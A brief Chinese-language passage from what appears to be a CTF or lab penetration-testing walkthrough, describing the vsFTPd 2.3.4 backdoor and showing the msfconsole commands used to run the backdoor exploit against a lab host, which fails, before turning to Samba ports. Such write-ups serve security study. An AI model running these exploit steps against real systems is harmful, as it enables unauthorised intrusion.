啥也没有
vsFTP v2.3.4存在历史漏洞,这里使用 msfconsole 尝试

当用户名一:)结束是,会开启后门端口 6200

└─\ ✨ msfconsole -q
msf6 > search vsFTP 2.3.4
msf6 > use 0
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

漏洞利用失败(被防火墙拦截),看看其他端口

Samba_139和445端口
